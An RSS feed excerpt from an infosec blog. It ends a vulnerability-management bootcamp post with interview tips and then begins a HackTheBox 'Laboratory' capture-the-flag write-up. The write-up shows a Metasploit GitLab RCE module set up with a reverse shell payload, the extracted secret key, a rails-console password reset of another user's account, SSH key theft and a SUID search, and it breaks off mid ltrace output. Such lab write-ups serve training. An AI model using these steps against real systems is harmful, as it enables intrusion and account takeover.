  &lt;li&gt;Be ready to explain the things you do at home / in-your-free-time to stay up-to-date on all things infosec. &lt;a href=&quot;https://shellsharks.com/getting-into-information-security#infosec-podcasts&quot;&gt;Podcasts&lt;/a&gt;, &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss#title&quot;&gt;RSS feeds&lt;/a&gt;, &lt;a href=&quot;https://www.reddit.com/r/netsec/&quot;&gt;Reddit&lt;/a&gt;, Mastodon, &lt;a href=&quot;https://shellsharks.com/infosec-blogs#title&quot;&gt;infosec blogs&lt;/a&gt;, building a homelab, etc…&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Be yourself&lt;/strong&gt; (&lt;em&gt;within reason&lt;/em&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;interview-questions&quot;&gt;&lt;strong&gt;Interview Questions&lt;/strong&gt;&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: What port is &lt;a href=&quot;https://www.cloudflare.com/learning/ssl/what-is-https/&quot;&gt;HTTPS&lt;/a&gt; typically on? · &lt;strong&gt;A&lt;/strong&gt;: &lt;strong&gt;443&lt;/strong&gt; but it is also &lt;a href=&quot;https://www.speedguide.net/port.php?port=8443&quot;&gt;commonly found on port 8443&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: What are some vulnerabilities you are familiar with? · &lt;strong&gt;A&lt;/strong&gt;: Reference the &lt;a href=&quot;#vulnerabilities&quot;&gt;Vulnerabilties section&lt;/a&gt; for some good ideas.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: What is the difference between TCP and UDP? · &lt;strong&gt;A&lt;/strong&gt;: Reference the &lt;a href=&quot;#networking&quot;&gt;Networking section&lt;/a&gt; for some good ideas. But remember TCP is &lt;em&gt;connection-oriented&lt;/em&gt; while UDP is not.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: Explain at a high-level how HTTPS works. · &lt;strong&gt;A&lt;/strong&gt;: Check &lt;a href=&quot;https://www.thesslstore.com/blog/how-does-https-work/&quot;&gt;this&lt;/a&gt; out and be able to describe HTTPS at a high-level.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: How does &lt;em&gt;traceroute&lt;/em&gt; work? · &lt;strong&gt;A&lt;/strong&gt;: &lt;a href=&quot;https://www.slashroot.in/how-does-traceroute-work-and-examples-using-traceroute-command&quot;&gt;This guide&lt;/a&gt; does a good job explaining the basics.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: What are some interesting logs on Linux/Windows &lt;em&gt;and&lt;/em&gt; where are they stored? · &lt;strong&gt;A&lt;/strong&gt;: &lt;a href=&quot;https://www.loggly.com/ultimate-guide/linux-logging-basics/&quot;&gt;Linux logs&lt;/a&gt; and &lt;a href=&quot;https://www.loggly.com/ultimate-guide/windows-logging-basics/&quot;&gt;Windows logs&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Q&lt;/strong&gt;: What are the different types of &lt;em&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/xss/&quot;&gt;XSS&lt;/a&gt;&lt;/em&gt;? · &lt;strong&gt;A&lt;/strong&gt;: Reflected, Stored and DOM-based. Check &lt;a href=&quot;https://owasp.org/www-community/Types_of_Cross-Site_Scripting&quot;&gt;this guide&lt;/a&gt; out.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’ll add additional tips and interview questions as I think of them. If you have any you think would be good to add, just &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;let me know&lt;/a&gt;!&lt;/p&gt;

&lt;hr /&gt;

&lt;center&gt;&lt;i class=&quot;ph ph-info lg&quot;&gt;&lt;/i&gt;&lt;/center&gt;

&lt;h1 id=&quot;help--outro&quot;&gt;Help &amp;amp; Outro&lt;/h1&gt;

&lt;p&gt;For any questions, suggestions, feedback, corrections or anything else related to the VM Bootcamp, feel free to &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact me&lt;/a&gt; anytime. For in-depth discussions on the &lt;a href=&quot;#scenario-based-exercises&quot;&gt;scenario-based questions&lt;/a&gt; or anything else, I encourage you to join the &lt;a href=&quot;https://discord.gg/3rkHgtcYbb&quot;&gt;Discord&lt;/a&gt; and we can chat!&lt;/p&gt;

&lt;p&gt;If you’ve completed the &lt;a href=&quot;#bootcamp-intro&quot;&gt;bootcamp&lt;/a&gt; in it’s entirety, I’d like to first thank you for reading and I sincerely hope you found the content useful and &lt;em&gt;somewhat&lt;/em&gt; mentally stimulating. Second, &lt;strong&gt;CONGRATS!&lt;/strong&gt; - hopefully this can be the first (&lt;em&gt;or at least one&lt;/em&gt;) of many steps you will take in a successful infosec career. Feel free to &lt;a href=&quot;https://www.linkedin.com/in/mikesass&quot;&gt;connect with me on Linkedin&lt;/a&gt; and if I can, I’ll do what I can to refer you or otherwise help you progress in your career.&lt;/p&gt;

&lt;!-- Defunct Overlay --&gt;
&lt;!--
&lt;div class=&quot;overlay&quot; id=&quot;quicklinks&quot; style=&quot;bottom:15px;display:none;width:fit-content;left:50%;padding:0px;transform: translate(-50%, -50%);opacity:0.97;&quot;&gt;
&lt;div class=&quot;secondarybg&quot; style=&quot;display:inline-block; padding:10px; border-radius:25px;&quot;&gt;
&lt;div style=&quot;margin-bottom:10px;&quot;&gt;
&lt;a href=&quot;#&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-arrow-circle-up lg&quot; title=&quot;Quick menu&quot;&gt;&lt;/i&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div style=&quot;margin-bottom:10px;&quot;&gt;
&lt;a href=&quot;#vulnerability-management-day-to-day&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-gear lg&quot; title=&quot;Day to day&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;#bootcamp-intro&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-door-open lg&quot; title=&quot;Bootcamp intro&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;#vm-knowledge-pre-requisites&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-backpack lg&quot; title=&quot;VM knowledge&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;#vm-bootcamp-lab&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-flask lg&quot; title=&quot;Bootcamp lab&quot;&gt;&lt;/i&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;#scenario-based-exercises&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-globe-hemisphere-west lg&quot; title=&quot;Exercises&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;#how-to-find-a-vm-job&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-gps-fix lg&quot; title=&quot;Find a job&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;#vm-interview&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-video-conference lg&quot; title=&quot;Interview&quot;&gt;&lt;/i&gt;&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;a href=&quot;#help--outro&quot; onclick=&quot;clickedLink()&quot;&gt;&lt;i class=&quot;ph ph-info lg&quot; title=&quot;Outro&quot;&gt;&lt;/i&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;div class=&quot;overlay&quot; style=&quot;width:fit-content; padding:0px; border-radius:50%;left:50%;color:var(--link-color);position:relative;&quot;&gt;
&lt;i class=&quot;ph ph-caret-circle-up lg&quot; id=&quot;chevron&quot; onclick=&quot;showLinks()&quot; style=&quot;position:absolute;width:25%;transform:translateX(-50%);&quot;&gt;&lt;/i&gt;
&lt;/div&gt;

&lt;script&gt;
  function showLinks() {
    if (document.getElementById(&quot;quicklinks&quot;).style.display==&quot;none&quot;) {
      document.getElementById(&quot;quicklinks&quot;).style.display=&quot;block&quot;;
    }
    else if (document.getElementById(&quot;quicklinks&quot;).style.display==&quot;block&quot;) {
      document.getElementById(&quot;quicklinks&quot;).style.display=&quot;none&quot;;
    }
  }
  function clickedLink() {
    document.getElementById(&quot;quicklinks&quot;).style.display=&quot;none&quot;;
  }
&lt;/script&gt;
--&gt;
</description>
        <pubDate>Fri, 23 Apr 2021 00:42:00 -0400</pubDate>
        <link>https://shellsharks.com/vm-bootcamp</link>
        <guid isPermaLink="true">https://shellsharks.com/vm-bootcamp</guid>
        
        <category>infosec</category>
        
        <category>vm</category>
        
        <category>tenable</category>
        
        <category>nessus</category>
        
        <category>academy</category>
        
        <category>dev</category>
        
        <category>python</category>
        
        <category>blue</category>
        
        <category>training</category>
        
        <category>kali</category>
        
        <category>nmap</category>
        
        <category>technical</category>
        
        <category>bestof</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>HackTheBox: Laboratory</title>
        <shark:summary><p>Welcome back to my <a href="https://shellsharks.com/htb-doctor#series-intro">HackTheBox series</a>! This box was an interesting one, let’s get into it…</p>
</shark:summary>
        <description>&lt;p&gt;Welcome back to my &lt;a href=&quot;https://shellsharks.com/htb-doctor#series-intro&quot;&gt;HackTheBox series&lt;/a&gt;! This box was an interesting one, let’s get into it…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2021/htb/laboratory.png&quot; alt=&quot;Laboratory&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;jump-to-section&quot;&gt;Jump to Section&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#reconnaissance&quot;&gt;Reconnaissance&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#foothold&quot;&gt;Foothold&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#user&quot;&gt;User&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root&quot;&gt;Root&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;reconnaissance&quot;&gt;Reconnaissance&lt;/h1&gt;

&lt;p&gt;First, (&lt;em&gt;per usual&lt;/em&gt;) I run &lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt; to see what’s listenin’ on the box.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[~]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;nmap &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sS&lt;/span&gt; 10.10.10.216 &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt;
Starting Nmap 7.91 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt; https://nmap.org &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; at 2021-01-22 00:08 EST
Nmap scan report &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;10.10.10.216
Host is up &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0.095s latency&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Not shown: 997 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
| ssh-hostkey:
|   3072 25:ba:64:8f:79:9d:5d:95:97:2c:1b:b2:5e:9b:55:0d &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;RSA&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
|   256 28:00:89:05:55:f9:a2:ea:3c:7d:70:ea:4d:ea:60:0f &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ECDSA&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
|_  256 77:20:ff:e9:46:c0:68:92:1a:0b:21:29:d1:53:aa:87 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ED25519&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
80/tcp  open  http     Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
443/tcp open  ssl/http Apache httpd 2.4.41 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;
|_http-server-header: Apache/2.4.41 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Ubuntu&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
|_http-title: 400 Bad Request
| ssl-cert: Subject: &lt;span class=&quot;nv&quot;&gt;commonName&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after:  2024-03-03T10:39:28
| tls-alpn:
|_  http/1.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From the output, I can see a DNS entry for &lt;em&gt;git.laboratory.htb&lt;/em&gt;. Let’s check that out.&lt;/p&gt;

&lt;p&gt;Quickly add this domain to the &lt;em&gt;/etc/hosts&lt;/em&gt; file…&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;vi /etc/hosts
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.216    git.laboratory.htb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now let’s navigate to &lt;em&gt;git.laboratory.htb&lt;/em&gt;, register a new user and then login as that user. While we’re here, click on the question mark in the top right and then click the “Help” link. Here we can see a version for &lt;a href=&quot;https://about.gitlab.com&quot;&gt;GitLab&lt;/a&gt; of “&lt;em&gt;12.8.1&lt;/em&gt;”. With this information, a quick google search yields an &lt;a href=&quot;https://www.rapid7.com/db/modules/exploit/multi/http/gitlab_file_read_rce/&quot;&gt;exploit, courtesy of Metasploit&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;foothold&quot;&gt;Foothold&lt;/h1&gt;

&lt;p&gt;Fire up &lt;a href=&quot;https://www.metasploit.com&quot;&gt;Metasploit&lt;/a&gt; and search for “GitLab”. This produces a RCE module that looks like it should suit our needs.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;use exploit/multi/http/gitlab_file_read_rce
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once you’ve loaded up the &lt;em&gt;gitlab_file_read_rce&lt;/em&gt; Metasploit module, set the following options…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;set USERNAME and PASSWORD to your GitLab credentials you registered earlier&lt;/li&gt;
  &lt;li&gt;set RHOSTS to the target host (&lt;em&gt;10.10.10.216&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;set RPORT to 443 (&lt;em&gt;gitlab is SSL&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;set SSL to “yes”&lt;/li&gt;
  &lt;li&gt;set VHOST to “git.laboratory.htb”&lt;/li&gt;
  &lt;li&gt;set LHOST to your source host&lt;/li&gt;
  &lt;li&gt;set LPORT to whatever you like&lt;/li&gt;
  &lt;li&gt;set payload to &lt;em&gt;generic/shell_reverse_tcp&lt;/em&gt; (&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/&quot;&gt;meterpreter&lt;/a&gt; not supported)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These options, set as described, are shown below…&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Module options (exploit/multi/http/gitlab_file_read_rce):

   Name             Current Setting                                               Required  Description
   ----             ---------------                                               --------  -----------
   DEPTH            15                                                            yes       Define the max traversal depth
   PASSWORD         mikemike                                                      no        The password for the specified username
   Proxies                                                                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS           10.10.10.216                                                  yes       The target host(s), range CIDR identifier, or hosts file with syntax &apos;file:&amp;lt;path&amp;gt;&apos;
   RPORT            443                                                           yes       The target port (TCP)
   SECRETS_PATH     /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml  yes       The path to the secrets.yml file
   SECRET_KEY_BASE                                                                no        The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present
   SSL              true                                                          no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /users/sign_in                                                yes       The path to the vulnerable application
   USERNAME         mike                                                          no        The username to authenticate as
   VHOST            git.laboratory.htb                                            no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.17      yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Bombs Away! (&lt;em&gt;&lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/using-exploits/&quot;&gt;exploit -j&lt;/a&gt;&lt;/em&gt;)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf6 exploit(multi/http/gitlab_file_read_rce) &amp;gt;
[*] Started reverse TCP handler on 10.10.14.17:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user mike
[*] Created project /mike/DaCcZDf0
[*] Created project /mike/b7GzMpia
[*] Created issue /mike/DaCcZDf0/issues/1
[*] Executing arbitrary file load
[+] File saved as: &apos;/home/kali/.msf4/loot/20210122001827_default_10.10.10.216_gitlab.secrets_310794.txt&apos;
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /mike/DaCcZDf0
[*] Deleted project /mike/DaCcZDf0
[*] Attempting to delete project /mike/b7GzMpia
[*] Deleted project /mike/b7GzMpia
[*] Command shell session 1 opened (10.10.14.17:4444 -&amp;gt; 10.10.10.216:51282) at 2021-01-22 00:18:31 -0500
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Huzzah! A shell. Let’s take a peek inside…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msf6 exploit(multi/http/gitlab_file_read_rce) &amp;gt; sessions -i 1
[*] Starting interaction with 1...

hostname
git.laboratory.htb
whoami
git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;user&quot;&gt;User&lt;/h1&gt;

&lt;p&gt;This is where (imo) it starts to get a little tricky…&lt;/p&gt;

&lt;p&gt;First, I’ll &lt;a href=&quot;https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/&quot;&gt;upgrade my shell&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, let’s take a look at &lt;em&gt;/etc/passwd&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /etc/passwd
...
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From this output, I get the feeling theres some GitLab or container (I see the word “&lt;a href=&quot;https://docs.gitlab.com/ee/user/packages/container_registry/&quot;&gt;registry&lt;/a&gt;”) machinations going on here.&lt;/p&gt;

&lt;p&gt;…&lt;em&gt;a bunch of googling later&lt;/em&gt;… I find a &lt;a href=&quot;https://docs.gitlab.com/ee/security/reset_user_password.html&quot;&gt;GitLab-related console&lt;/a&gt; I can use to reset a user password. Hopping into said console…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gitlab-rails console &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; production
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here I can see a user named “Dexter”. (&lt;a href=&quot;https://en.wikipedia.org/wiki/Dexter%27s_Laboratory&quot;&gt;Dexter’s Laboratory&lt;/a&gt; anyone?)&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;user = User.where(id: 1).first
#&amp;lt;User id:1 @dexter&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Following these &lt;a href=&quot;https://gist.github.com/dnozay/188f256839d4739ca3e4&quot;&gt;password reset instructions&lt;/a&gt;…&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;user.password = &apos;password&apos;
user.password = &apos;password&apos;
&quot;password&quot;
user.password_confirmation = &apos;password&apos;
user.password_confirmation = &apos;password&apos;
&quot;password&quot;
user.save!
user.save!
Enqueued ActionMailer::DeliveryJob (Job ID: 1c391664-161d-44cf-9477-2e31991979db) to Sidekiq(mailers) with arguments: &quot;DeviseMailer&quot;, &quot;password_change&quot;, &quot;deliver_now&quot;, #&amp;lt;GlobalID:0x00007fbf6a8537a8 @uri=#&amp;lt;URI::GID gid://gitlab/User/1&amp;gt;&amp;gt;
true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I’ve now changed poor Dexter’s password and can return to the GitLab portal and log in as Dexter himself. Once in as Dexter, I navigate to his &lt;em&gt;Projects&lt;/em&gt; and check out the “CONFIDENTIAL” repo. Inside this repo, I see a &lt;em&gt;.ssh&lt;/em&gt; directory with a private key. Copy these down to your &lt;em&gt;~/.ssh&lt;/em&gt; directory and make sure &lt;em&gt;/etc/hosts&lt;/em&gt; has the following entry.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;10.10.10.216    laboratory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can then &lt;a href=&quot;https://www.ssh.com/academy/ssh&quot;&gt;SSH&lt;/a&gt; as &lt;em&gt;dexter&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh dexter@laboratory
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;root&quot;&gt;Root&lt;/h1&gt;

&lt;p&gt;Now as &lt;em&gt;dexter&lt;/em&gt;, I am on the hunt for a &lt;em&gt;root&lt;/em&gt; shell. Using my &lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot;&gt;go to linux priv-esc guide&lt;/a&gt;, I find a suspicious binary in &lt;em&gt;/usr/local/bin/docker-security&lt;/em&gt;. Another, more specific command to find this would be…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;find / &lt;span class=&quot;nt&quot;&gt;-perm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-4000&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, so what does &lt;em&gt;docker-security&lt;/em&gt; do? Running it has no obvious output. Hmm… It’s definitely an &lt;a href=&quot;https://man7.org/linux/man-pages/man5/elf.5.html&quot;&gt;ELF&lt;/a&gt; linux binary (try running &lt;em&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/file-command-in-linux-with-examples/&quot;&gt;file&lt;/a&gt;&lt;/em&gt;)… Let’s try running &lt;em&gt;&lt;a href=&quot;https://man7.org/linux/man-pages/man1/ltrace.1.html&quot;&gt;ltrace&lt;/a&gt;&lt;/em&gt; and see if that gives us anything…&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dexter@laboratory:/usr/local/bin&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ltrace ./docker-security
setuid&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;
setgid&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                                     &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;
system&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;chmod 700 /usr/bin/docker&quot;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt;: changing permissions of &lt;span class=&quot;s1&quot;&gt;&apos;/usr/bin/docker&apos;&lt;/span&gt;: Operation not permitted
 &amp;lt;no &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; ...&amp;gt;
&lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt; SIGCHLD &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Child exited&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;---&lt;/span&gt;
&amp;lt;... system resumed&amp;gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;                                                                        &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 256
system&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;chmod 660 /var/run/docker.sock&quot;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt;: changing permissions of &lt;span class=&quot;s1&quot;&gt;&apos;/var/run/docker.sock&apos;&lt;/span&gt;: Operation not permitted
 &amp;lt;no &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; ...&amp;gt;
